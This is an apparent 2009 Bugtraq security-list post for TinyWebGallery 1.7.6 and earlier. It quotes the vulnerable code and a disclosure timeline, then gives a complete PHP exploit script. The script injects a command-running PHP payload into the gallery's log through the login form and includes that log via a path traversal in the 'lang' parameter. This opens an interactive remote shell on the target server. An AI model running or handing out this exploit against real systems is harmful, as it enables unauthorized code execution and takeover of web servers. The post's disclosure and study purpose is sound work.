bugtraq - TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit

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Message-Id: <200905100142.n4A1gK1v002243@www5.securityfocus.com>
Date: Sat, 9 May 2009 19:42:20 -0600
From: travesti@...vesti.in
To: bugtraq@...urityfocus.com
Subject: TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit

<?php

/*
	-----------------------------------------------------------
	TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit
	-----------------------------------------------------------
	
	author...: travesti
	mail.....: travesti[at]travesti.in
	
	link.....: http://www.travesti.in
	details..: this vulnerability drift from QuiXplorer (http://quixplorer.sourceforge.net/)
      exp link.: http://www.travesti.in/ex.txt

	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.

	[-] vulnerable code in /admin/_include/init.php

	110.	// Get Language
	111.	if (isset($GLOBALS['__GET']["lang"]))  $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS['__GET']["lang"];
	112.	elseif (isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS['__POST']["lang"];
	113.	else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"];  
	114.	else $GLOBALS["language"] = $GLOBALS["default_language"];
	115.	
			[...]
	138.	
	139.	// ------------------------------------------------------------------------------
	140.	// Necessary files
	141.	require _QUIXPLORER_PATH . "/_config/conf.php";
	142.	
	143.	if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))
	144.	    require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";
	145.	else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))
	146.	    require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";
	147.	else
	148.	    require _QUIXPLORER_PATH . "/_lang/en.php";

	An attacker could be able to include arbitrary local files through the require function at line 144, due to
	$_GET['lang'] parameter isn't properly sanitised. Successful exploitation requires magic_quotes_gpc = off

	[-] Disclosure timeline:
		
	[14/04/2009] - Bug discovered
	[25/04/2009] - Vendor contacted
	[26/04/2009] - Vendor replied
	[26/04/2009] - Fix released: http://www.tinywebgallery.com/forum/viewtopic.php?t=1653
	[08/05/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
	  die("\nsocket_create(): " . socket_strerror($s) . "\n");

	if (socket_connect($s, $host, 80) == false)
	  die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

	socket_write($s, $packet, strlen($packet));
	while ($m = socket_read($s, 2048)) $response .= $m;

	socket_close($s);
	return $response;
}

function check_target()
{
	global $host, $path;

	$packet  = "GET {$path}info.php?showphpinfo=true HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Connection: close\r\n\r\n";

	preg_match('/magic_quotes_gpc<\/td><td class="v">(.*)<\/td><td/', http_send($host, $packet), $match);

	if ($match[1] != "Off") die("\n[-] Exploit failed...magic_quotes_gpc = on\n");
}

function inject_code()
{
	global $host, $path;

	$code	 = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die} ?>";
	$payload = "p_user={$code}&p_pass=";

	$packet  = "POST {$path}admin/index.php?action=login HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Content-Length: ".strlen($payload)."\r\n";
	$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$packet .= "Connection: close\r\n\r\n";
	$packet .= $payload;

	http_send($host, $packet);
}

print "\n+---------------------------------------------------------------------+";
print "\n| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path\n";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /twg/\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

check_target();
inject_code();

$packet  = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while (1)
{
	print "\ntwg-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$response = http_send($host, sprintf($packet, base64_encode($cmd)));
	preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}

?>